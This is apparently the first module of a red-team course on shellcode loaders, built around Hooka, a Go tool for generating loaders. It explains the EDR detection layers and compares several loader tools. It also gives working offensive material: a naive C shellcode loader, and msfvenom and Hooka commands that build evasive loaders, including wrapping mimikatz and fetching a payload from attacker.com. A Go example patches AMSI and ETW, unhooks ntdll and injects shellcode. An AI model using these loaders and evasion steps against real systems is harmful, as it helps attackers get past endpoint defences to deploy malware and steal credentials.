Difficulty: Beginner

Module 1: Introduction to Shellcode Loaders

Generate, evade, inject, execute — the four-word story of every loader.

Module Objective

This module introduces the concept of shellcode loaders, explains why they exist in the context of modern endpoint security, and provides a comprehensive overview of Hooka — a Go-based shellcode loader generator and library by D3Ext. By the end, you will understand the loader lifecycle, the detection layers loaders must defeat, and how Hooka compares to other popular tools in the space.

1. What Is a Shellcode Loader?

A shellcode loader is a program whose sole purpose is to take raw shellcode (position-independent machine code), place it into executable memory, and transfer control to it. The shellcode itself typically establishes a C2 channel (e.g., a Cobalt Strike Beacon or Meterpreter session), but it cannot run on its own — it needs a host process and memory to live in.

Every shellcode loader follows a three-stage lifecycle:

The Shellcode Loader Lifecycle

1. Generate Shellcode
msfvenom, Cobalt Strike, Sliver, etc.
2. Prepare Evasion
Encrypt, obfuscate, unhook, patch
3. Inject & Execute
Allocate memory, write, run

Stage 1 produces the raw payload. Stage 2 wraps it in layers of protection so it survives the gauntlet of security products. Stage 3 gets the shellcode into memory and hands off execution. A loader is only as good as the weakest link in this chain.

The Simplest Possible Loader

At its most basic, a loader allocates RWX memory, copies shellcode into it, and calls it as a function pointer. This works but is trivially detected:

C// Naive loader - detected by every AV/EDR
unsigned char shellcode[] = { 0xfc, 0x48, 0x83, ... };

void* mem = VirtualAlloc(NULL, sizeof(shellcode),
    MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(mem, shellcode, sizeof(shellcode));
((void(*)())mem)();  // jump to shellcode

This approach fails because: (a) the shellcode bytes are visible in the binary, (b) RWX memory is a red flag, (c) VirtualAlloc with execute permissions triggers EDR hooks, and (d) there is no obfuscation or evasion whatsoever.

2. Why Loaders Exist: EDR Detection Layers

Modern Endpoint Detection and Response (EDR) solutions deploy multiple overlapping detection layers. A loader must survive all of them, not just one:

Detection LayerWhen It FiresWhat It Looks ForLoader's Counter
Static ScanningOn disk, before executionKnown signatures, suspicious byte patterns, high entropy sectionsEncryption, obfuscation, code signing
Dynamic AnalysisDuring execution in sandboxAPI call sequences, process behavior, network callbacksSandbox detection, delayed execution, anti-debug
Behavioral MonitoringRuntime, continuousSuspicious API chains (alloc → write → exec), process injection patternsSyscalls, unhooking, callback-based execution
Memory ScanningPeriodic or on-demandRWX pages, unbacked executable memory, known shellcode patternsNo-RWX, sleep encryption, permission toggling

The Fundamental Problem

Shellcode in memory is inherently suspicious. Raw machine code sitting in a newly allocated memory region with execute permissions does not look like normal program behavior. Every serious loader must address this by combining encryption (hide the payload on disk and in memory), injection techniques (avoid obvious allocation patterns), and unhooking (remove the EDR's ability to observe API calls).

3. Introducing Hooka

Hooka is a Go-based shellcode loader generator and library created by D3Ext. What makes Hooka unique is its dual-purpose architecture: it functions both as a CLI tool that generates complete loader executables and as a fully importable Go package (pkg/hooka) with 40+ exported functions that you can use in your own custom tooling.

Key Differentiator

Most tools in this space are either a CLI generator (like ScareCrow) or a code library. Hooka is both. You can use the CLI for quick loader generation, or import the library for surgical control over individual techniques. The library exposes every injection method, encryption algorithm, syscall helper, and evasion function as a standalone, reusable Go function.

How Hooka Works at a High Level

Hooka Generation Pipeline

Input
.bin / PE / DLL / URL
Encrypt
AES / 3DES / RC4 / XOR
Wrap Injection
6 CLI / 14 lib methods
Add Evasion
Unhook, AMSI, ETW, sandbox
Output
EXE or DLL

The CLI accepts shellcode from a file, a PE executable (converts to shellcode via sRDI), a DLL (also sRDI-converted), or a remote URL. It then applies the selected encryption algorithm, wraps the decryption-and-injection logic in Go source code using the chosen technique, layers on evasion features, and compiles the result into a Windows EXE or DLL.

4. Feature Overview

Hooka packs an extensive feature set into a single tool. Here is a summary of its major capabilities:

CategoryFeatureCount / Details
Injection (CLI)SuspendedProcess, ProcessHollowing, NtCreateThreadEx, EtwpCreateEtwThread, NtQueueApcThreadEx, QueueUserApc6 methods
Injection (Library)All CLI methods + CreateRemoteThread, RtlCreateUserThread, UuidFromString, Fibers, EnumSystemLocales, Callbacks, Halo's Gate variants, and more14 methods
EncryptionAES-256-CFB, 3DES-CFB, RC4, XOR4 algorithms
UnhookingClassic (per-function), Full DLL (.text replacement), Perun's Fart (ntdll)3 methods
Sandbox DetectionCPU count, RAM size, disk size, hostname, drivers, processes, username, domain-joined, internet connectivity9 checks
PatchingAMSI (2 methods), ETW (2 methods)4 patches
Process ProtectionACG Guard, BlockDLLs policy, Phant0m (EventLog thread kill)3 features
OtherAPI hashing (MD5/SHA1/SHA256), code signing, sRDI conversion, custom sleep, Shikata Ga Nai encodingVarious

5. Hooka vs The Competition

Several other tools occupy the same space as Hooka. This comparison highlights where each tool excels:

FeatureHookaScareCrowFreezeShhhloader
LanguageGoGoGoPython (generates Nim/C#)
Output FormatsEXE, DLLEXE, DLL, JS, HTA, CPLEXE, DLLEXE
Injection Methods6 CLI / 14 library32 (CreateThread, shellcode)3
EncryptionAES, 3DES, RC4, XORAESNone (obfuscation-based)AES, XOR
Unhooking3 methods (Classic, Full, Perun's)1 (disk-based)Suspended process (avoids hooks)1 (syscalls)
SyscallsDirect + Hell/Halo/Tartarus GateIndirect syscallsIndirect syscallsSysWhispers
Sandbox Detection9 checksDomain-check onlyNoneLimited
Importable LibraryYes (40+ functions)NoNoNo
Unique FeatureFull Go library + API hashing + Phant0mCode signing + multiple output formatsMinimal footprint + suspended process focusNim/C# polyglot output

Why Choose Hooka?

Hooka's primary advantage is flexibility. If you need a quick loader, the CLI generates one in seconds. If you are building custom tooling and need a specific injection technique combined with a specific encryption algorithm and custom evasion logic, you import the Go library and call exactly the functions you need. No other tool in this comparison offers both modes of operation.

6. Source Code Structure

Understanding Hooka's repository layout helps you navigate the codebase for the rest of this course:

TextHooka/
+-- cmd/
|   +-- hooka/
|       +-- main.go          # CLI entry point, flag parsing
|       +-- banner.go        # ASCII banner and version info
+-- pkg/
|   +-- hooka/
|       +-- hooka.go         # Core loader generation logic
|       +-- injection.go     # All injection technique implementations
|       +-- syscalls.go      # Direct syscalls, SSN resolution
|       +-- gates.go         # Hell's Gate, Halo's Gate, Tartarus' Gate
|       +-- unhook.go        # Classic, Full DLL, Perun's Fart unhooking
|       +-- patching.go      # AMSI and ETW patching functions
|       +-- sandbox.go       # All 9 sandbox detection checks
|       +-- encryption.go    # AES, 3DES, RC4, XOR implementations
|       +-- hashing.go       # API hashing (MD5, SHA1, SHA256)
|       +-- process.go       # Process enumeration, Phant0m
|       +-- utils.go         # Helper functions
|       +-- evasion.go       # ACG Guard, BlockDLLs, sleep
|       +-- srdi.go          # Shellcode Reflective DLL Injection
|       +-- signing.go       # Code signing utilities
|       +-- types.go         # Struct definitions and constants
|       +-- callbacks.go     # Callback-based execution methods
+-- examples/                # Example usage of the Go library
+-- build/                   # Build scripts and Makefile
+-- go.mod                   # Go module definition
+-- go.sum                   # Dependency checksums

The pkg/hooka/ directory contains 16 source files and is where all the real logic lives. Each file groups related functionality, making it straightforward to find the implementation of any specific technique.

The maldev Companion Library

Hooka depends on github.com/D3Ext/maldev, a separate Go library by the same author that provides low-level Windows API wrappers, PE parsing utilities, and helper functions. When you see Hooka calling functions like maldev.GetPEB() or maldev.ReadRemoteMemory(), those come from this companion library. Understanding maldev is not required for this course but can be helpful for deeper exploration.

7. Setting Up Your Lab

Before proceeding to hands-on modules, ensure you have a suitable environment:

Lab Requirements

Bash# Clone and build Hooka
git clone https://github.com/D3Ext/Hooka
cd Hooka
go build -o hooka ./cmd/hooka/

# Verify installation
./hooka --help

# Generate test shellcode with msfvenom
msfvenom -p windows/x64/exec CMD=calc.exe -f raw -o calc.bin

Safety Warning

All techniques in this course are intended for authorized security testing, red team operations, and educational purposes only. Never use shellcode loaders against systems you do not have explicit written permission to test. Generated loaders should only be executed in isolated lab environments.

8. Quick Start: Your First Loader

To illustrate how Hooka works end-to-end, here is the simplest possible CLI invocation that generates a working loader:

Bash# Generate a calc.exe shellcode payload
msfvenom -p windows/x64/exec CMD=calc.exe -f raw -o calc.bin

# Generate a loader with default settings:
#   Injection: SuspendedProcess
#   Encryption: AES
#   AMSI patching: enabled
#   ETW patching: enabled
./hooka -i calc.bin -o loader.exe

# Or generate a DLL instead of an EXE
./hooka -i calc.bin -o loader.dll --dll

# Use process hollowing with RC4 encryption
./hooka -i calc.bin -o loader.exe -t ProcessHollowing -e rc4

# Enable API hashing for additional stealth
./hooka -i calc.bin -o loader.exe --hashing

# Convert a PE executable to shellcode (sRDI) and wrap it
./hooka -i mimikatz.exe -o loader.exe --pe

# Load shellcode from a remote URL
./hooka -i http://attacker.com/payload.bin -o loader.exe --url

What Happens Under the Hood

When you run ./hooka -i calc.bin -o loader.exe, Hooka performs these steps internally:

  1. Reads the raw shellcode from calc.bin
  2. Generates a random AES-256 key and encrypts the shellcode
  3. Produces Go source code that embeds the encrypted shellcode, the key, and the decryption routine
  4. Adds AMSI patching code (calls PatchAmsi() at startup)
  5. Adds ETW patching code (calls PatchEtw() at startup)
  6. Wraps the decrypted shellcode in the SuspendedProcess injection technique
  7. Cross-compiles the Go source to a Windows PE executable
  8. Writes the final binary to loader.exe

The generated executable is a standalone Windows binary with no external dependencies. When executed on the target, it patches AMSI, patches ETW, decrypts the shellcode in memory, creates a suspended process, writes the shellcode, and resumes the thread.

9. Using Hooka as a Go Library

Beyond the CLI, you can import Hooka as a Go package and call individual functions. This is the library mode that sets Hooka apart from every other tool in its class:

Gopackage main

import (
    "fmt"
    "os"
    "github.com/D3Ext/Hooka/pkg/hooka"
)

func main() {
    // Read raw shellcode
    sc, _ := os.ReadFile("calc.bin")

    // Encrypt with AES
    key := hooka.RandomBytes(32)
    encrypted, _ := hooka.AesEncrypt(sc, key)

    // Patch AMSI and ETW before doing anything suspicious
    hooka.PatchAmsi()
    hooka.PatchEtw()

    // Unhook ntdll to remove EDR visibility
    hooka.PerunsUnhook()

    // Decrypt and inject
    decrypted, _ := hooka.AesDecrypt(encrypted, key)
    hooka.NtCreateThreadEx(decrypted)

    fmt.Println("Shellcode executed")
}

Library Advantages

The library mode lets you mix and match techniques that the CLI does not support. For example, you could combine Fibers injection with 3DES encryption and Perun's Fart unhooking — a combination not available through the CLI flags. You can also integrate Hooka's functions into larger tooling frameworks, red team automation pipelines, or custom C2 implant builders.

10. Course Roadmap

This course is structured to build understanding progressively. Here is what each module covers and why the order matters:

Module Progression

ModuleTopicWhy It's Here
1 (this)Introduction & OverviewFoundation: understand the problem space and tool landscape
2Injection TechniquesCore skill: how shellcode gets into memory and executes
3Syscalls & GatesEvasion foundation: bypassing userland hooks at the API level
4Unhooking & PatchingActive evasion: removing EDR hooks and disabling telemetry
5Sandbox & Process ProtectionEnvironmental evasion: detecting analysis and protecting the process
6Encryption & ObfuscationPayload protection: hiding shellcode from static and memory analysis
7The Hooka Go LibraryIntegration: using pkg/hooka programmatically for custom tools
8CLI Generator & Full ChainMastery: combining everything into real-world loader generation

Knowledge Check

Q1: What are the three stages of the shellcode loader lifecycle?

A) Compile, link, execute
B) Generate shellcode, prepare evasion, inject and execute
C) Encrypt, decrypt, allocate
D) Download, unpack, run

Q2: What makes Hooka unique compared to tools like ScareCrow and Freeze?

A) It is written in Rust for maximum performance
B) It only supports process hollowing injection
C) It functions as both a CLI generator and an importable Go library with 40+ functions
D) It generates JavaScript-based loaders for browser exploitation

Q3: Which EDR detection layer inspects memory at runtime for RWX pages and shellcode patterns?

A) Static scanning
B) Dynamic analysis
C) Behavioral monitoring
D) Memory scanning